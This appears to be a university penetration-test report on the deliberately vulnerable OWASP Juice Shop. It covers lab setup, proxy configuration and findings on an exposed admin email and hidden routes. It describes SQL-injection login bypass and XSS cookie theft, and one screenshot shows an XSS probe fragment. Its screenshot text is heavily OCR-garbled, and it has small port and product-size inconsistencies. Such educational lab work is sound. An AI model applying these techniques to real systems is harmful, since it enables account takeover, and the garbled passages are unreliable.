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Introduction:

This report presents the results of a web application penetration test conducted against the OWASP Juice-
Shop application. The engagement was carried out as part of the SSIRE-A cybersecurity programme at Tek-
Up University under the supervision of Instructor Oussama Riahi.

The primary objective was to identify, exploit, and document real-world security vulnerabilities present in a
deliberately vulnerable application. All testing was performed in a controlled, isolated Docker environment
with no impact on any production systems. Findings are mapped to the OWASP Top 10 categories and
include technical details, evidence, and actionable remediation guidance.

OWASP Top 10 Overview

The OWASP Top 10 is a standard awareness document for web application security, representing a broad
consensus about the most critical security risks. The 2021 edition defines the following ten categories:

A01:2021 - Broken Access Control: Restrictions on authenticated users are not properly enforced, allowing
attackers to act outside intended permissions.

A02:2021 - Cryptographic Failures: Failures related to cryptography that often lead to sensitive data
exposure or system compromise.

A03:2021 - Injection: User-supplied data is not validated or sanitised, allowing hostile data to be sent to an
interpreter : SQL, NoSQL, OS, LDAP.

A04:2021 - Insecure Design: Missing or ineffective control design representing a shift towards secure design
patterns and threat modelling.

A05:2021 - Security Misconfiguration: Improperly configured permissions, unnecessary features, default
credentials, or verbose error messages.

A06:2021 - Vulnerable and Outdated Components: Use of components with known vulnerabilities or failure
to keep dependencies up to date.

A07:2021 - Identification and Authentication Failures: Weaknesses in authentication and session
management allowing attackers to assume other users' identities.

A08:2021 - Software and Data Integrity Failures: Code and infrastructure that does not protect against
integrity violations, including insecure deserialization.

A09:2021 - Security Logging and Monitoring Failures: Insufficient logging and monitoring, allowing attacks
to persist undetected.

A10:2021 - Server-Side Request Forgery: A web application fetches a remote resource without validating
the user-supplied URL, allowing coercion of unexpected server requests.
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Disclaimer:

This penetration test was conducted exclusively within a controlled laboratory environment using a
deliberately vulnerable application (OWASP Juice-Shop) for educational purposes. All activities were
authorised and performed solely for academic training.

A penetration test is a snapshot in time. The findings reflect information gathered during the assessment
period and do not account for changes made outside that window. Time-limited engagements do not permit
full evaluation of all security controls; the team prioritised the most exploitable attack paths.

The techniques, tools, and payloads described in this report must not be used against any system without
explicit written authorisation from the system owner. Unauthorised use constitutes a criminal offence under
applicable law.

About OWASP Juice Shop:

OWASP Juice-Shop is the most modern and sophisticated deliberately insecure web application available for
security training. Written in Node.js, Express, and Angular, it encompasses vulnerabilities from the entire
OWASP Top 10 along with many other security flaws found in real-world applications.

Its product-themed interface conceals over 100 coded challenges covering injection, broken authentication,
sensitive data exposure, security misconfiguration, XSS, insecure deserialization, and many more categories.
A score board hidden at /#/score-board tracks progress across all challenges, and finding it is itself a
challenge to solve.

Juice-Shop is officially recommended by OWASP for web security education. Its Docker-based deployment
makes it easy to spin up an isolated lab environment on any operating system. The application uses SQLite
via Sequelize ORM and the frontend is compiled as a Single-Page Application, representative of modern web
architectures.

Lab Setup:

For Linux:

Docker is the recommended method to run OWASP Juice Shop on Linux. The following steps were performed
on Kali Linux GNU/Linux:

Install Docker:

sudo apt-get update

sudo apt-get install -y docker.io
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sudo systemctl start docker

sudo systemctl enable docker

Pull the image and run the container:

sudo docker pull bkimminich/juice-shop

sudo docker run -d -p 3000:3000 bkimminich/juice-shop

The flag -d runs the container in detached mode. Navigate to http://localhost:3000 to confirm the application
is running.

o= )-[~/juice-shop]
0 pull bkimminich/juice-shop
U51ng de+au1t tag: latest
latest: Pulling from bkimminich/juice-shop
fd4aa3667332: Pull complete
bfb59b82a9b6: Pull complete
017886f7e176: Pull complete
62de241dac5f: Pull complete
2780920e5dbf: Pull complete
7c¢12895b777b: Pull complete
3214acf345c0: Pull complete
52630fc75al18: Pull complete
dd64bf2dd177: Pull complete
43afeals13d3: Pull complete
dcaa5a89b0@cc: Pull complete
069d1e267530: Pull complete
e7fa9df358f0: Pull complete
d8a0d911bl3e: Pull complete
5b14f6c9a813: Pull complete
33ce@b1d99fc: Pull complete
f45e0372ce60: Pull complete
7faf@cfag885c: complete
9cd2al476fcc: Downloading [—m———7xxoaoaaaa—oa:—— ] 48.71MB/51.15MB
9cd2al476fcc: Pull complete
9d2a7448ec@d: Pull complete
ea42d2577342: Pull complete
Digest: sha256:e68bd19091f952a0cdf75c5ca318d92e7a06b350ab5a88446f2bf62daf2e88c9
Status: Downloaded newer image for bkimminich/juice-shop:latest
docker.io/bkimminich/juice-shop:latest

[~/juice-shop]
— : " run -p 3000:3000 bkimminich/juice-shop
e3cf915fa604bd52bc1b3f6dd0d9971dbdel97hd16fa5898&583f2b1b8c5fd0c

Figure 1: Terminal output of docker pull downloading all image layers, followed by docker run starting the container.

'~/juice-shop]

run -p 3000:7777 bkimminich/juice-shop

Figure 2: Terminal showing the docker run command executed with port mapping 3000:3000.

Windows (Docker Desktop):

On Windows, download and install Docker Desktop from https://www.docker.com/products/docker-
desktop, enabling the WSL 2 backend during installation. Once the engine is initialised, open PowerShell as
Administrator and run:

docker pull bkimminich/juice-shop
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docker run -d -p 3000:3000 bkimminich/juice-shop
Open a browser and navigate to http://localhost:3000 to confirm the Juice Shop welcome screen appears.

To stop the container run docker ps to note the container ID, then docker stop .

Proxy Setup (Burp Suite + FoxyProxy):

All HTTP traffic was routed through Burp Suite Community Edition v2025.12.5 acting as a man-in-the-middle
proxy. FoxyProxy Standard was installed in Firefox to redirect traffic to Burp at 127.0.0.1:8080. The
PortSwigger CA certificate was imported into Firefox to enable HTTPS inspection without browser warnings.

€ C o O 8 == mozilla.org

OffSec KaliLinux # KaliTools ¢ KaliDocs ¥ Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB © FoxyProxy was added.
Manage your add-ons and themes through the application menu.

Firefox Add-ons Blog
|_J Allow this extension to run in Private Windows

$* Firefox Browser
ADD—ONS Extensions T S Vore... v Okay

&) FoxyProxy Standard T
~ by Eric Jung, erosman

FoxyProxy is an open-source, advanced proxy management tool that completely replaces Firefox's limited
proxying capabilities. No paid accounts are necessary; bring your own proxies or buy from any vendor. The
original proxy tool, since 2006.

©» Recommended @ Available on Firefox for Android™ ' ¥ 4 (993 reviews) 211,103 Users

Screenshots

Figure 3: FoxyProxy Standard Firefox extension added successfully.
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# in 3 Setti

SP Juice Shop epting HTTP traff P Juice Shop X #) FoxyProxy Standard -G

C @

Kali Linux

O 8 & mozilla.org B

OffSec # KaliTools ¢ KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB

Google Hacking DB @ Add FoxyProxy? This extension will have permission to:

» Access your data for all websites

Read more + Download files and read and modify the browser’s download
story

Display notifications to you

Control browser proxy settings

Permissions and data ss bro

Required permissions:

v Download files and read and modify the browser’s download history
v Display notifications to you

v Control browser proxy settings

v Access browser tabs

Optional permissions:
v Clear recent browsing history, cookies, and related data

v Read and modify privacy settings
v Access your data for all websites

Learn more

More information

Add-on Links Li Ipdated Privacy Policy

Homepage a year ago (Apr 12, 2025) Read the privacy policy for this add-on
Support site

Supporste < Related Categories Version

Support Emal} i i = i

Figure 4: Firefox browser permission dyi'alog confirming FoxyProxy extension installation.

C @ O | &) Extension (FoxyProxy) moz-extension://39cda0f9-18a3-4e21-bc9c-f5afac6a2768/content/options.html

OffSec Kali Linux # KaliTools < KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

@ Options Proxies Import Pattern Tester Log Help About

' @ BurpSuite

Title BurpSuite Hostname 127.0.01
Type HTTP Port 8080
Country Username

City c Password

Color [

= Proxy by Patterns

Bulk Edit

Figure 5: FoxyProxy proxy entry configured — Title: BurpSuite, Type: HTTP, Host: 127.0.0.1, Port: 8080.
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® FoxyProxy Options X P Suite Communit:

xtension (FoxyProxy) moz-extension:// 4e2 -f5afac6a2768/content/options.htm
&) Ext (FoxyProxy) t / f5afac6a2768 t/options.html

OffSec Kali Linux # KaliTools =« Kali Docs N Kali Forums e Kali NetHunter loit-DB Google Hacking DB

@ Options Proxies Import Pattern Tester Log Help About

. @ BurpSuite

Title BurpSuite Hostname 127.0.0.1
Type HTTP. Port 8080
Country Username

City ity Password

Color ]

(5] Proxy by Patteri

Bulk Edit

Figure 6: FoxyProxy showing the BurpSuite proxy entry active and ready.

B settings = m %

L Tools > Proxy Manage globalsettings

All U Project T - i
= - o (® Proxylisteners

@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.

v Tools
Proxy Add Running Interface Invisible Redirect Certificate TLS Protocols
Intruder Edit @& 127.0.0.1:8080 Per-host Default
Repeater Remove
Sequencer
Comparer

Burp's browser

> Project
- Eachi f Burp its own CA certificate that Proxy listeners can use when negotiating TLS connections. You canimport or export this certificate for use
ssions
> Network Import/ export CAcertificate Regenerate CA certificate

Userinterface

> Suite (®) Request interception rules
Al {8} Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.
> Extensions
Intercept requests based on the following rules:

M Configuration library Add Enabled  Operator  Matchtype Relationship Condition

Edit File extension Does not match (gif$1jpgsl*pngslAcssS4jsSlticoSlAsv...

Or Request Contains parameters
Remove or HTTP method Does not match (getlpost)
U And URL Isintarget scope »
Down

Automatically fix missing or superfluous new lines at end of request

Automatically update Content-Length header when the request s edited

Figure 7: Burp Suite Proxy Settings — listener running on 127.0.0.1:8080.

(] * OWASP J p X e g X X X xyProxy Standa
= C @

OffSec Kali Linux # KaliTools ¢ KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Burp Suite Community Edition

Welcome to Burp Suite Community Edition.

Figure 8: Burp Suite Community Edition welcome page at 127.0.0.1:8080 confirming the proxy is reachable.
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Figure 9: Second confirmation of Burp Suite proxy page accessible during active session.

With FoxyProxy active, navigate to http://127.0.0.1:8080 in Firefox, download the CA Certificate, then import
it under Firefox Settings > Privacy and Security > Certificates > Authorities, trusting it for website identification.

Certificate Manager

Your Certificates Authentication Decisions People Servers

You have certificates on file that identify these certificate authorities

Certificate Name Security Device
v ACCV

ACCVRAIZ1 Builtin Object Token
v Actalis S.p.A./03358520967

Actalis Authentication Root CA Builtin Object Token
v AffirmTrust

AffirmTrust Commercial Builtin Object Token

AL s Tocns s D as i s nien. - TN RN S PR

Figure 10: Firefox trust dialog — PortSwigger CA certificate accepted for website identification.

+» Downloading Certificate
You have been asked to trust a new Certificate Authority (CA).
Do you want to trust “PortSwigger CA” for the following purposes?

¥ Trust this CA to identify websites.

& Trust this CA to identify email users.

Before trusting this CA for any purpose, you should examine its certificate and its policy and procedures (if available).

View Examine CA certificate

Cancel

Miuuc }J! IVAQLT YWiiuuwvvs U!.\*/

Figure 11: Firefox Certificate Manager — Authorities tab showing the import button used to add the Burp CA.
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Burp Project Intruder Repeater View Help Burp Suite Community Edition 5. Temporary Project - o x
Dashboard  Target  Frox Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Leam @ @
HTTPhistory  WebSocketshistory ~ Matchand replace @ Proxysettings
> Foward | v Drop v Requesttohttp:/localhost:3000 [127.0.01] 2 @ Openbrowser ®
Time Direction Method URL Status code Length
20207104 Mar .. 5 Request POST 30007r i
20201104 Mar. > Request POST http:/localhost:3000/rest/user/login
20:20:10 4 Mar. > Request GET polling 7
2020:114Mar .. > Request GET http:/localhost:3000/rest/user/whoami
20:20:114 Mar. > Request GET http:/localhost:3000/rest/user/whoami
20:20115.4 Mar. > Request GET http:/localhost:3000/rest/user/whoami
20:20:234 Mar... > Request GET ttps://api o ft
20:20:254 Mar. > Request GET proj data.yml
20:20:254 Mar. > Request GET
20:20:264 Mar... > Request GET
20:20:26.4 Mar > Reguest GET i
20:20264 Mar.. > Request GET 2080ard
20:20:264 Mar. 9 Request GET
20:20:264 Mar... > Request GET http:/localhost:3000/assets/i18n/en.json
20:20:264 Mar... 9 Request GET
20:20:264 Mar... > Request GET i
20:20:26.4 Mar > Request GET 20B0ard
20:20:264 Mar... > Request GET http:/localhost:3000/rest/languages
20:20:264 Mar. > Request GET http://localhost:3000/rest/products/searchq=
20:20:264 Mar .. > Request GET http:/localhost:3000/api/Quantitys/
20:20:414 Mar 9 Request GET i P
2020:474Mar... HTIP 5 Request POST https:f/spocs. getpocket.com/spocs
2020:474Mar... HTTP 5 Request GET https://contile.services.mozilla.comvi/tiles
2021:034 Mar... HTIP 5 Request GET fol?EI: P 8C
Request Inspector T X |ig
Pretty  Raw  Hex wo=
Origin: http://localhost:3000 N Request attributes 2 ok 2
Sec-Fetch-Site: same-origin B
Sec-Fetch-Mode: cors protocol (AR HTTPI2 2
Sec-Fetch-Dest: empty s
Referer: http://localhost:3000/ _
Accept-Encoding: gzip, deflate, br Name. Value =
Cookie: language=en; welcomebanner_status=disniss Method posT > B
15 Connection: keep-alive
s Path Irestluserflogin B =
20 g
“enail”:“admin@juice-sh.op", 3
“password®: "1234" Request query parameters 0o v
Request cookies 2 v
OB ¢ > £ ohighlights
Eventlog(7)®  Allissues @ Memory: 159.3MB of 492.0MB *¢ Disabled v

Figure 12: Burp Suite HTTP History showing intercepted traffic to /rest/user/login and the score board, confirming the proxy

chain is fully operational.

Maram Raboudi & Wejdene Cherif | Tek-Up University | SSIRE-A | March 2026 Page 12



Finding Severity Ratings:

Each vulnerability is assigned a severity rating based on its CVSS v3 score and potential impact. The
ratings used throughout this report are defined below.

Critical (CVSS 9.0-10.0): Exploitation is straightforward and results in system-level compromise or
complete authentication bypass. Immediate patching is required.

High (CVSS 7.0-8.9): Exploitation is possible and could cause elevated privilege access or significant data
exposure. Patch as soon as possible.

Moderate (CVSS 4.0-6.9): Vulnerabilities exist but require additional conditions to exploit. Remediate after
higher-priority issues are resolved.

Low (CVSS 0.1-3.9): Non-exploitable vulnerabilities that reduce the overall attack surface. Address during
the next maintenance window.

Informational (CVSS N/A): No direct vulnerability. Observations about security posture noted for
awareness.

Executive Summary:

The Security Research Team evaluated the OWASP Juice Shop web application through penetration testing
in March 2026, identifying nine vulnerabilities: four Critical and five High. The findings demonstrate a realistic
attack chain from unauthenticated reconnaissance to complete administrator account takeover and full admin
panel access.

Testing Summary :

Testing began with passive unauthenticated browsing. The administrator email address admin@juice-sh.op
was found exposed in a public product review. Angular route enumeration through the bundled main.js
JavasScript file revealed hidden administrative paths including /#/administration and /#/score-board.

SQL injection against the login endpoint bypassed password verification entirely for the admin account,
granting access to the full administration panel where all registered user email addresses were exposed. An
unauthenticated API endpoint also returned the complete application server configuration in plain JSON.

A second user account (Jim) was compromised via the same SQL injection after his email was found in a
public review. Additionally, an unauthenticated FTP directory exposed sensitive documents including a
KeePass password database. Two cross-site scripting vulnerabilities in the search function enabled session
cookie theft and phishing link injection.
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Key Weaknesses ldentified:

» Admin and user email addresses exposed in publicly visible product reviews.
 Hidden Angular routes (administration, score-board) exposed in the main.js bundle.
* SQL Injection in the login endpoint enables complete authentication bypass.

» Broken Access Control, admin panel accessible after authentication bypass, exposing all user
accounts.

» Unauthenticated /rest/admin/application-configuration API leaks full server configuration.

» Unauthenticated /ftp directory exposes sensitive documents and a KeePass password database.
» DOM-Based XSS in the search parameter enables session cookie theft via crafted URL.

* Reflected XSS in the search heading enables phishing link injection.

» Chained attack: email disclosure + SQL injection = account takeover for any discoverable user.

Vulnerability Count:

Critical: 4

High: 5
Moderate: 0
Low: O
Informational: O
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Technical Findings:

Finding 1: Information Disclosure - Admin Email Exposed in Public Review
(Critical)

Description: While browsing the application as an unauthenticated user, the administrator account email
address admin@juice-sh.op was found displayed in a publicly visible product review on the Apple Juice
(2000 ml) product page. The review was authored by the admin account itself and was accessible to any
anonymous visitor with no login required. The exposed email directly enabled the SQL injection attack in
Finding 3.

Risk - Likelihood: High - The email address is directly visible on the product page to any website visitor
without any login or special access.

Risk - Impact: Critical - The exposed admin email directly enables targeted SQL injection and credential-
based attacks against the highest-privilege account.

System: http://localhost:3000 - Apple Juice (1000ml) product page, customer reviews section

Tools Used: Browser (passive browsing, no tools required)

References:

* CWE-200: Exposure of Sensitive Information to an
Unauthorized Actor

* OWASP A05:2021 - Security Misconfiguration

Evidence:

5 ¥ OWASP Juice Shop B+

= C @ O D localhost:300

OffSec KaliLinux #5 KaliTools ¢ KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

= JEVOWASPJuice Shop

All Products
Apple Juice
(1000ml)

The all-time classic.

1.99x

Reviews (1)

admin@juice-sh.op
One of my favorites!

Al R ) »
Best |uice Shop r—— Carrot Juice AN R Eggfruit Juice

Figure 13: Apple Juice product review showing admin@juice-sh.op as the author — accessible without authentication.
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Remediation: Never use administrator accounts for public-facing interactions. Implement display aliases
showing only a username rather than the actual email address. Audit all public-facing content to ensure no
sensitive account identifiers are exposed to unauthenticated users.
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Finding 2: Hidden Route Disclosure via main.js (High)

Description: Angular single-page applications bundle all client-side route definitions into a publicly served
JavaScript file (main.js). By navigating to http://localhost:3000/main.js in the browser and using Ctrl+F to
search for keywords, two hidden administrative routes were found in plain text: { path: ‘administration' } and
{ path: 'score-board' }. Navigating to /#/score-board was confirmed successful with a Juice Shop
challenge completion notification. The administration route returned a 403 when accessed
unauthenticated, but confirmed the path exists for use after authentication bypass.

Risk - Likelihood: High - Any user can view main.js by navigating to the URL in a browser; no tools,
authentication, or technical knowledge is required.

Risk - Impact: High - Exposure of hidden admin paths reduces attacker reconnaissance effort and directly
enables privilege escalation once authentication is obtained.

System: http://localhost:7777/main.js - Angular application JavaScript bundle

Tools Used: Browser (Ctrl+F keyword search in main.js)

References:

* CWE-200: Exposure of Sensitive Information to an
Unauthorized Actor

* OWASP A05:2021 - Security Misconfiguration

Evidence:

B  localhost:7777/main.js X @ OWASP Juice Shop X # Passwords

<« C @ O D localhost n B now %

OffSec KaliLinux g8 Kali Tools Exploit-DB Google Hacking DB @ OWASP Juice Shop

unction(o){return new(o||n)
7,vars:6,consts: [[1,"score-row"],[3,"allChallenges"], [3,"filterSetting","allChallenges", "reset"],
1,[3,"filterSettingChange", "filterSetting", "allChallenges","reset"], [3, "filterSettingChange","challenges","filterSetting"],
allchallenges", "applicationConfig"],[1,"challenges"],["s , "assets/public/images/padding/1px.png"],

[3,"challenge", "applicationConfiguration”, "openCodingChallengeDialo "repeatChallengeNotification", "unlockHint", "ngClass"],[1, "empty-
challenges"]], template: function(o,a) {1&0&&(t.j41(0,"div",0),t.nrm(1, "hacking-challenge-progress-score-card",1) (2, "coding-challenge-progress-score-card",1)
( difficulty-overview-score-card”,1),t.k0s(),t.nvh(4,Bm,1,3,"filter-
settings",2),t.nvh(5,Vm,2,0,"div",3),t.nVh(6,Xm,5,5)),2&0&&(t.R7$(),t.Y8G("allChallenges",a.allChallenges),t.R7$(),t.Y8G("allChallenges",a.allChallenges),t.R7$(),t
.Y8G("allChallenges”,a.allChallenges),t.R7$(),t.vxM(! null==a.applicationConfiguration?null:a.applicationConfiguration.challenges.restrictToTutorialsFirst)?
4:-1),t.R7$(), t.vxM(! .isInitialized?5:-1),t.R7$(),t.vxM(! .isInitialized?6:-1))},dependencies: [Lm,$m,Dm,ym,hm.LG,um,om,Kd,U.YU,c.h,c.D9],styles:
["[_nghost-%COMP%]{display:block;margin:48px 72px}@media (max-width: 1500px){[_nghost-%COMP%]{margin:48px 64px}}@media (max-width: 900px){[_nghost-%COMP%]
{margin:48px}}@media (max-width: 600px){[_nghost OMP%]{margin:32px 16px}}.score-rowl[_ngcontent-%COMP%]{column-gap:16px;display:grid;grid-template-
columns:repeat(3,1fr);min-height:120px; row-gap:8px}@media (max-width: 1500px){.score-row[_ngcontent {grid-template-columns:repeat(3,1fr)}}@media (max-width:
900px) {.score-row[_ngcontent OMP%]1{grid-template-columns:repeat(2,1fr)}}@media (max-width: 600px){.score-row[ ngcontent OMP%]{grid-template-
columns:repeat(1,1fr)}}.challenges[ ngcontent OM {column-gap:16px;display:grid;grid-template-columns:repeat(4,1fr);margin-to| 2px; row-gap: 12px}@media (max-
width: 1500px){.challenges[ ngcontent-%COMP%]{grid-template-columns:repeat(3,1fr)} edia (max-width: 900px){.challenges[ ngcontent-%COMP%]{grid-template-
columns:repeat(2,1fr)}}@media (max-width: 600px){.challenges[ ngcontent-%COMP%]{grid-template-columns:repeat(1,1fr)}}.empty-challenges[ ngcontent-%COMP%]{align-

enter;display: flex; flex-direction:column; justify-content:center;margin:® 32px;min-height:20vh}.loading-spinner-wrapper[_ngcontent-%COMP%]{align-

enter;display: flex;justify-content: center;padding:64px; : "1})}return n})();const Qm=function(){var n=(0,5.A) (function*(){return(yield
Promise.all([d.e(989),d.e(76),d.e(388)]).then(d.bind(d,4388))).FaucetModule});return function(){return n.apply(this,arguments)}}(),zm=function(){var n=(0,5.A)
(function*(){return(yield Promise.all([d.e(989),d.e(76),d.e(675)]).then(d.bind(d,1675))).WalletWeb3Module});return function()}{return n.apply(this,arguments)}}
(),Im=function(){var n=(0,S.A) (function*(){return(yield Promise.all([d.e(989),d.e(380)]).then(d.bind(d,7380))) .Web3SandboxModule});return function(){return
n.apply(this,arguments)}}(),qm=[{pat! -15trat10n“,component:rr,canActlvate: [eel}, {path: "accounting",component:jl,canActivate:[nel},
{path:"about", component:ba}, {path:"address/select", component:xs,canActivate: [X]},{path: "address/saved", component:Ts,canActivate:[X]}, {path:"address/
create",component:Te, canActivate: [X]},{path: "address/edit/:addressId",component:Te,canActivate:[X]},{path: "delivery-method", component:Bc}, {path:"deluxe-
membership", component:nd, canActivate: [X]}, {path: "saved-payment-methods",component:cl},{path:"basket", component:$o}, {path:"order-completion/:id",component:ec},

contact", component:sa}, {path:"photo-wall", component:Jc},{path: "complain”, component:kr}, {path:"chatbot", component:yr},{path:"order-summary",component:rc},

,component: 11}, {path: "wallet", component:cc}, {path: "login", component:Ri}, {path: "forgot-

,component :Ka}, {path cle",component:Zr},{path:"register", component:Va},{path:"search",component:Gt},{path: "hacking-instructor",component:Gt},
score-board", component track-result", componen },{path:"track-result/new", component:se,data: {typ }},{path:"2fa/enter", component:es},
privacy-security”,component:os,children:[{path:"privacy-policy",component:hs},{path:"change-password”,component:pr},{path:" -factor

authentication",component:rs}, {path:"data-export",component:ps},{path:"last-login-ip",component:us}1},{path:"juicy-nft", component:id},{path:"wallet-
web3",loadChildren: (n=(0,S.A) (function*(){return yield zm()}),function(){return n.apply(this,arguments)})},{pat 'web3-sandbox", loadChildren: function(){var
n=(0,S.A) (function*(){return yield Jm()});return function(){return n.apply(this,arguments)}}()},{path:"bee-haven",b loadChildren:function(){var (0,S.A) (function*()
{return yield Qm()});return function(){return n.apply(this,arguments)}}()},{matcher:function Zm(n){return .length?
null:window.location.href.includes("#access_tokel )?{consumed:n}:null},data:{params:window. location.href.substr(window.location.href.index0f("#"))}, component:po},
{matcher:function tp(n){return .length?null:n[0].toString() .match(function ep(...n){const r=Array.prototype.slice.call(n),e=r.shift();return

Figure 14: main.js loaded in the browser — the route path 'administration' highlighted in the minified JavaScript bundle.
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B  localhost:7777/main.js O Wo! Juice Shop X &) Passwords

C @ QO D localhost @ 1o%

OffSec Kali Linux & )\allTooLs & Kall Docs \Kau Forums « Kali NetHumer Exploll DB GoogeHaLkmg DB & OWASPJulceshop
Open scor board 1,1 vat l rlte'n ‘arlarlabel u qulnHF‘r< ?utarlaW ] [“matr S
juice hnp/]una shop”, "aria-label”,"Go to OWASP Juice Shup GitHub page”],[1, v "1,[2,"font-size", X x1,[2, “margin-top",
[1,"icon-angular"],[1,"icon-html5"1,[1, "icon-sass"],[1,"icon-css3"],[1,"icon-javascript-alt"], [1,"icon-nodejs"1,[1,"icon- 1,11, *icon-mongodb”1, [ "mat-
", "routerLink","/login", "aria-label","Go to login page",3,"click'], ["mat-list-iten","", "aria-label", "Go to user profile’,3,"click']
: "Go to accounting page "ar Orders and Payr 1 8
routerLink","/ord r a , to order history page"],[" s ,"","routerLink","/
t-list-item","", "routerLink ress ed abel","Go to s addre age"], ["mat-list-item","","routerLink
payment-methods ria- o to saved payment methods page" “routerLink","/wal Go to wallet page"],["mat-list-
item","","routerLink”,"/order- hl<tory aria-label","Go to order hi story page”,3,"cl L[ st-item","","routerLink","/recycle”,"aria-label","Go to recycling
page",3,"click"], ["mat-list-it ", "routerLink","/addr: aved" 1lab 0 to saved addr ,3,"click"], ["mat-list-i uterLink”,"/sav
payment-methods®, "aria-label","Go to saved payment methods page”,3,"click®],["mat-list-item",", ", "/wallet”,
["aria-label”,"Show Privacy and ';s-curny Menu" t",3,"click"], ["mat-list-item","", "routerLink","privacy-security/priv
policy page"],["mat-list-ite routerLink’ s ort","aria-label”,"Go to d: xport page"l, ["mat- ust item",
subject pdga”l ["mat-1ist-item®,"","routerLink®,"privacy y/cha password”, "aria-label”,"Go to change pa
item","", "routerLink 2 y sﬂcurlty/two facrovnauthenn r . 0 tor authentication s ,"routerLink", "privacy-
“routerLink","privacy-security/privacy-policy","aria-label", "Go to privacy
outerLink®, "privacy-s ty/data port‘ ria-lab
, -label”, ,["mat-list-item","","routerLink",
pa'<\~/urd page”,,, click"], ["mat-1d e 5 r1vauy~5e(ur1ty /two- f Aonauthentl(atmn","anarlabel”, Go to two factor
authentication page" c 1,["mat-list-item","","r ) r curlty/last-logm-ip ,"aria-label”,"Go to last login ip e",3,"click"], ["mat-list-
,"aria-label”," o .3,"click"], ["mat-list-item", er! k", "/complain it l","Go to complain page",3,"click"], ["mat-list-
,"Go to chatbot page”,3,"click”],["mat-list-item","","routerLink","/delu embership”,"ar "Go to deluxe
1,["mat-list-item"," ", "[FOUEErLINKY) "/ Scoresboard ria-label","0p e-board",3, "click"], ["matListIcon","",1, ”fd<‘ “fa-trophy", "fa-
at-list-item"," aria-label","Launch beginners tutorial",3, ks 3 a ,"fa-1g"11, template: fuv\ctmnto a)
{1&0&&(t.j41(0,"mat-toolbar",0) (1, "mat-toolbar-row")(2,"h2"),t.EFF(3),t. ()(),t.j41(4, "mat-nav-
list"),t.nrm(5,"button",1),t.j41(6, "h3",2),t.EFF(7, "ACCOUNT St ,3),t.nVh(9,Rn,6,3,"a",4),t.nvh(10,wn,5,1 5),t.nVh(11,En,6,3,"a",6),t.nVh(12
mat-list-item",7),t.nVh(13,Dn,7,8,"div",8),t.nvh(14,$n,8 6,"mat~115(»1tem”,9),Ln\.’h[lS,Un,B,Q,“dlv ,8),t.nVh(16,Yn,6,3,"a",10),t.kes(),t.nrm(17, "mat-
"h3",11),t.EFF(19, "TITLE_CONTACT"),t.kes(),t.j41(20,"a",12),t.bIt("click", function(){return a.onToggleS 1nler\av(’)),I.Jdl(zl,“ma!-
,t.kes(),t.j41(23,"span",13) ,t.EFF(24) ,t.nI1(25, "translate s()(),t.nVh(26,Xn,6,3,"a",14),t.nVh(27,Hn,6,3,"a",15) ,t.nrm(28, "mat-
divider"),t.j41(29,"h3",11),t.EFF(30, "COMPANY") ,t.kes(),t.j41(31,"a",16),t.bIt("click", function(){return a.onToggleSidenav()}),t.j41(32, "mat-
icon" ),t EFF(33, "business_center"),t ),t.j41(34,"span",13) ,t.EFF(35),t.nI1(36, "translate"),t.kes()(),t.j41(37,"a",17),t.bIt("click", function(){return
a.onToggleSidenav()}),t.j41(38,"mat-icon"),t.EFF(39,"camera”),t.k@s(),t.j41(40,"span",13),t.EFF(41),t.nI1(42, "translate"),t.kes()
nVvh(43,0n,6,3,"a",18) ,t.nVh(44,2zn,1,0, "mat-divider",19),t.nVh(45,3n,5,3,"a",20) ,t.nVh(46,qn,6,3,"a",21) ,t.nVh(47,Kn,4,0,"a",22) , t.kos (), t.j41(48, "div",23)
pan") (50, "span”,24) ,t.EFF(51) ,t. k0 (), nrmiSZ,"br"'} it ]41(53,"span“,25i t.EFF(54),t.kes(),t.nrm(55,"br"),t.j41(56,"div",26),t.nrm(57, "i",27) , t.EFF(58, "\xa0
"),t.nrm(59,"i",28) ,t.EFF(60,"\xa® "),t.nrm(61,"i",29),t.EFF(62,"\xa0 "), t.nrm(63,"i",30),t.EFF(64,"\xa0 "),t.nrm(65,"i",31),t.EFF(66,"\xa0
), t.nrm(67,"1",32) ,t.EFF(68,"\xa0 "), t.nrm(69," “,3:},t‘EFF\70,“\an "), t.nrm(71,"i",34),t.k0s() () ()),280&&(t.R7$(3),t.5)
",a.applicationName),t.R7$(6),t.vxM(a.isLoggedIn()?-1:9),t R7S().t.va(a.15L0ggerﬂn()’10.rlj,t.R7$(),t.va(a.lsLoggedI ()&&a.isAccounting()?
10+ RTEN) + uvMla el annedTal1219: 1) + RTE() + uvMla chawnrdarcGihmann?12: 1) + BIE() + uvMla Scl namadTnl1214:_ 1) + D71} + uvMia

score A v [J Highlight Al [J Match Case [] Match Diacritics [] Whole Words 25 of 71 matches

a % OWASP Juice Shop > WASP Juice Shop
« C @ O D localhost ] Mm% v

OffSec Kali Linux #8 Kali Tools < KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB # OWASP Juice Shop

.OWASP Juice Shop Q O Account @EN

¥ 403

You are not allowed to access this page!

O Highlight Al |_] Match Case | Match Diacritics | Whole Words 25 of 71 matches

Figure 16: Attempting to access /#/administration without authentication returns a 403 Forbidden, confirming the route exists.
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(=] # OWASP Juice Shop X +

<« C @ O D localhost

OffSec Kali Linux #8 KaliTools « KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB # OWASP Juice Shop

0
= . OWASP Juice Shop rt(document.cookie)> X @ Account W YourBasket @DEN

You successfully solved a challenge: Score Board (Find the carefully hidden 'Score Board' page.)

5% 0% 5/172

Hacking Challenges Coding Challenges Challenges Solved
Difficulty

All Xss Observability Failures Improper Input Validation Broken Access Control Unvalidated Redirects Vulnerable Components
Broken Authentication Security through Obscurity Insecure Deserialization Miscellaneous Broken Anti Automation Injection

Sensitive Data Exposure Security Misconfiguration Cryptographic Issues XXE

& 17 challenges are unavailable on Docker due to security concerns or technical incompatibility!

Figure 17: Successfully accessing /#/score-board — challenge completion notification confirms the hidden page is now
accessible.

Remediation: Implement server-side route guards enforcing authentication before serving admin views.
Lazy-load Angular admin modules so that route names are excluded from the public main.js bundle. Apply
